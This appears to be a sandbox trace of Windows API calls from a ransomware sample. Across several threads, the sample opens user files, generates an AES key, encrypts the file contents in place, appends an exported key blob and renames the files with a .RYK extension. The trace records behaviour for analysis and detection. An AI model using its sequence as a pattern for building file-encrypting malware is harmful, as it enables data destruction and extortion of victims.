	[0257.976] ReadFile (in: hFile=0x870, lpBuffer=0x91bfa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x91bf9a0, lpOverlapped=0x0 | out: lpBuffer=0x91bfa30*, lpNumberOfBytesRead=0x91bf9a0*=0x19, lpOverlapped=0x0) returned 1
	[0257.979] CloseHandle (hObject=0x870) returned 1

Thread:
	id = 3019
	os_tid = 0x3218

	[0257.993] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png.RYK", dwFileAttributes=0x80) returned 1
	[0257.994] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864
	[0257.994] GetFileSizeEx (in: hFile=0x864, lpFileSize=0x940fb18 | out: lpFileSize=0x940fb18*=77218) returned 1
	[0257.994] GetFileSizeEx (in: hFile=0x864, lpFileSize=0x940fb28 | out: lpFileSize=0x940fb28*=77218) returned 1
	[0257.994] SetFilePointerEx (in: hFile=0x864, liDistanceToMove=0x12c80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0257.994] ReadFile (in: hFile=0x864, lpBuffer=0x940fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x940fae0, lpOverlapped=0x0 | out: lpBuffer=0x940fb70*, lpNumberOfBytesRead=0x940fae0*=0x19, lpOverlapped=0x0) returned 1
	[0257.996] CloseHandle (hObject=0x864) returned 1

Thread:
	id = 3020
	os_tid = 0x3108

	[0258.005] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0258.005] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.005] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3039
	os_tid = 0x345c

	[0258.239] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv.RYK", dwFileAttributes=0x80) returned 1
	[0258.240] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860
	[0258.240] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x92ef838 | out: lpFileSize=0x92ef838*=96018) returned 1
	[0258.240] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x92ef848 | out: lpFileSize=0x92ef848*=96018) returned 1
	[0258.240] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0x175f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0258.240] ReadFile (in: hFile=0x860, lpBuffer=0x92ef890, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92ef800, lpOverlapped=0x0 | out: lpBuffer=0x92ef890*, lpNumberOfBytesRead=0x92ef800*=0x19, lpOverlapped=0x0) returned 1
	[0258.243] CloseHandle (hObject=0x860) returned 1

Thread:
	id = 3040
	os_tid = 0x3460

	[0258.244] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0258.245] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860
	[0258.245] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x972f998 | out: lpFileSize=0x972f998*=11826) returned 1
	[0258.245] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x972f9a8 | out: lpFileSize=0x972f9a8*=11826) returned 1
	[0258.245] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0x2d10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0258.245] ReadFile (in: hFile=0x860, lpBuffer=0x972f9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x972f960, lpOverlapped=0x0 | out: lpBuffer=0x972f9f0*, lpNumberOfBytesRead=0x972f960*=0x19, lpOverlapped=0x0) returned 1
	[0258.248] CloseHandle (hObject=0x860) returned 1

Thread:
	id = 3041
	os_tid = 0x3464

	[0258.249] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg.RYK", dwFileAttributes=0x80) returned 1
	[0258.250] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860
	[0258.250] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x8cbf618 | out: lpFileSize=0x8cbf618*=85890) returned 1
	[0258.250] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x8cbf628 | out: lpFileSize=0x8cbf628*=85890) returned 1
	[0258.250] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0x14e60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0258.251] ReadFile (in: hFile=0x860, lpBuffer=0x8cbf670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cbf5e0, lpOverlapped=0x0 | out: lpBuffer=0x8cbf670*, lpNumberOfBytesRead=0x8cbf5e0*=0x19, lpOverlapped=0x0) returned 1
	[0258.253] CloseHandle (hObject=0x860) returned 1

Thread:
	id = 3042
	os_tid = 0x3468

	[0258.254] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0258.255] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860
	[0258.255] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x8e1f698 | out: lpFileSize=0x8e1f698*=72786) returned 1
	[0258.255] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x8e1f6a8 | out: lpFileSize=0x8e1f6a8*=72786) returned 1
	[0258.256] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0x11b30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0258.256] ReadFile (in: hFile=0x860, lpBuffer=0x8e1f6f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e1f660, lpOverlapped=0x0 | out: lpBuffer=0x8e1f6f0*, lpNumberOfBytesRead=0x8e1f660*=0x19, lpOverlapped=0x0) returned 1
	[0258.260] CloseHandle (hObject=0x860) returned 1

Thread:
	id = 3043
	os_tid = 0x346c

	[0258.261] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv.RYK", dwFileAttributes=0x80) returned 1
	[0258.262] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860
	[0258.262] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x8f7f978 | out: lpFileSize=0x8f7f978*=60146) returned 1
	[0258.262] GetFileSizeEx (in: hFile=0x860, lpFileSize=0x8f7f988 | out: lpFileSize=0x8f7f988*=60146) returned 1
	[0258.262] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0xe9d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0258.262] ReadFile (in: hFile=0x860, lpBuffer=0x8f7f9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f7f940, lpOverlapped=0x0 | out: lpBuffer=0x8f7f9d0*, lpNumberOfBytesRead=0x8f7f940*=0x19, lpOverlapped=0x0) returned 1
	[0258.265] CloseHandle (hObject=0x860) returned 1

Thread:
	id = 3044
	os_tid = 0x3470

	[0258.267] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0258.267] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.267] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.267] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3081
	os_tid = 0x3518

	[0259.831] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", dwFileAttributes=0x80) returned 0
	[0259.831] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.831] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3082
	os_tid = 0x351c

	[0259.833] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0259.833] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.833] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3083
	os_tid = 0x3520

	[0259.834] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1
	[0259.835] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850
	[0259.835] GetFileSizeEx (in: hFile=0x850, lpFileSize=0x905f9d8 | out: lpFileSize=0x905f9d8*=16384) returned 1
	[0259.835] GetFileSizeEx (in: hFile=0x850, lpFileSize=0x905f9e8 | out: lpFileSize=0x905f9e8*=16384) returned 1
	[0259.835] SetFilePointerEx (in: hFile=0x850, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0259.835] ReadFile (in: hFile=0x850, lpBuffer=0x905fa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x905f9a0, lpOverlapped=0x0 | out: lpBuffer=0x905fa30*, lpNumberOfBytesRead=0x905f9a0*=0x19, lpOverlapped=0x0) returned 1
	[0259.838] SetFilePointer (in: hFile=0x850, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0259.838] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x905f9b8 | out: phKey=0x905f9b8*=0x2b9290) returned 1
	[0259.839] SetFilePointer (in: hFile=0x850, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0259.839] ReadFile (in: hFile=0x850, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x905f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x905f9c4*=0x4000, lpOverlapped=0x0) returned 1
	[0259.840] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x905f9c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x905f9c0*=0xf4250) returned 1
	[0259.840] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x905f9c8*=0x4000, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x905f9c8*=0x4010) returned 1
	[0259.840] SetFilePointer (in: hFile=0x850, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0259.840] WriteFile (in: hFile=0x850, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x905f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x905f9c4*=0x4010, lpOverlapped=0x0) returned 1
	[0259.842] WriteFile (in: hFile=0x850, lpBuffer=0x905f9f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x905f9d0, lpOverlapped=0x0 | out: lpBuffer=0x905f9f0*, lpNumberOfBytesWritten=0x905f9d0*=0x6, lpOverlapped=0x0) returned 1
	[0259.842] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x905f9e0 | out: pbData=0x0*, pdwDataLen=0x905f9e0*=0x10c) returned 1
	[0259.842] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x905fa50, pdwDataLen=0x905f9e0 | out: pbData=0x905fa50*, pdwDataLen=0x905f9e0*=0x10c) returned 1
	[0259.842] WriteFile (in: hFile=0x850, lpBuffer=0x905fa50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x905f9d0, lpOverlapped=0x0 | out: lpBuffer=0x905fa50*, lpNumberOfBytesWritten=0x905f9d0*=0x10c, lpOverlapped=0x0) returned 1
	[0259.842] CloseHandle (hObject=0x850) returned 1
	[0259.850] CryptDestroyKey (hKey=0x2b9290) returned 1
	[0259.851] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\msimgsiz.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\msimgsiz.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3109
	os_tid = 0x3588

	[0260.227] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", dwFileAttributes=0x80) returned 0
	[0260.227] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.227] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3110
	os_tid = 0x358c

	[0260.229] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", dwFileAttributes=0x80) returned 0
